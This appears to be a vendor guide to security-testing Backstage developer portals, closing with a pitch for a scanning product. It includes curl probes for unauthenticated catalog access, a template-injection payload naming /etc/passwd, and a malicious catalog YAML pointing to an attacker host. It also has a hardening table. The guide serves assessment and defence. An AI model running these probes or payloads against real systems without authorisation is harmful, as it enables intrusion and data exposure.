Backstage Developer Portal Security Testing: Plugin RCE, API Auth Bypass, and Catalog Injection

Backstage is Spotify's open-source internal developer portal now widely adopted as a platform for service catalogs, scaffolding, and developer tooling. Its security surface is large: the scaffolder plugin renders Nunjucks templates from catalog entries — if template parameters are user-controlled, this enables server-side template injection leading to RCE on the Backstage backend; Backstage's backend API on port 7007 has historically had authentication gaps where internal API routes were accessible without the frontend user token; the catalog ingests entity YAML from any registered URL — if attacker-controlled URLs can be registered, malicious catalog entities can be injected; Backstage's proxy plugin forwards HTTP requests to backend services often without re-enforcing authentication; and many production Backstage deployments use the guest authentication provider that allows anonymous access, exposing the full service catalog. This guide covers systematic Backstage security assessment.

Table of Contents

  1. Backstage Discovery and Version Enumeration
  2. Authentication Mode Assessment
  3. Scaffolder Template Injection Testing
  4. Catalog Entity Injection
  5. Proxy Plugin API Bypass
  6. Backstage Security Hardening

Backstage Discovery and Version Enumeration

# Backstage default port: 7007 (backend API + frontend served)
# Also: 3000 (frontend dev server), 7000 (older versions)

# Check Backstage backend health
curl -s http://backstage.example.com:7007/healthcheck 2>/dev/null | python3 -m json.tool | head -5

# Enumerate Backstage version from frontend JavaScript bundle
curl -s http://backstage.example.com:7007/ 2>/dev/null | \
  grep -oE '"@backstage/[a-z-]+":"[0-9.]+"' | head -10

# Check catalog API (may not require auth on guest-mode deployments)
curl -s "http://backstage.example.com:7007/api/catalog/entities?limit=20" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
entities = data if isinstance(data, list) else data.get('items', [])
print(f'Catalog entities: {len(entities)}')
for e in entities[:5]:
    print(f\"  {e.get('kind','?')}: {e.get('metadata',{}).get('name','?')} — {e.get('metadata',{}).get('description','')[:60]}\")
" 2>/dev/null

Scaffolder Template Injection Testing

# Backstage scaffolder uses Nunjucks templates
# If user-controlled parameters are inserted into template expressions without sanitization,
# server-side template injection is possible

# Test for SSTI in scaffolder template parameters
# Probe: submit a template parameter with Nunjucks expression syntax
# In a scaffolder template form, submit: {{ 7*7 }} as a parameter value
# If the output contains "49", SSTI is confirmed

# Via the scaffolder API (requires auth token)
curl -s -X POST "http://backstage.example.com:7007/api/scaffolder/v2/tasks" \
  -H "Authorization: Bearer ${BACKSTAGE_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "templateRef": "template:default/test-template",
    "values": {
      "name": "{{ (''cat /etc/passwd'').toString() }}",
      "owner": "user:default/test"
    }
  }' 2>/dev/null | python3 -m json.tool | head -5

# Test for prototype pollution in catalog entity YAML
# Register a catalog entity with malicious YAML annotations
cat > /tmp/catalog-injection.yaml << 'EOF'
apiVersion: backstage.io/v1alpha1
kind: Component
metadata:
  name: injected-component
  namespace: default
  annotations:
    backstage.io/managed-by-location: "url:http://attacker.example.com/malicious.yaml"
spec:
  type: service
  lifecycle: production
  owner: user:default/injected
EOF

Backstage Security Hardening

Backstage Security Hardening Checklist:
Security TestMethodRisk
Guest auth mode exposes full catalogAccess without login — lists all services, owners, infrastructure linksHigh
Scaffolder SSTI via template parameter injectionSubmit {{ 7*7 }} as parameter — if output is 49, RCE is possibleCritical
Catalog entity injection via attacker-controlled URLRegister catalog location from attacker.example.com — injects malicious entityHigh
Backend API routes accessible without tokencurl /api/catalog/entities without Bearer token — returns entity listHigh
Proxy plugin forwards to internal services without authPOST /api/proxy//sensitive — request forwarded without user tokenHigh
Scaffolder task logs reveal secretsGET /api/scaffolder/v2/tasks//events — may show env vars or git credentialsMedium

Automate Backstage Security Testing

Ironimo tests Backstage developer portal deployments for guest authentication mode exposing the full service catalog, scaffolder Nunjucks template injection enabling backend RCE, catalog entity injection via attacker-controlled YAML URLs, backend API routes accessible without authentication tokens, proxy plugin forwarding to internal services without re-authentication, and scaffolder task log disclosure of secrets and credentials.

Start free scan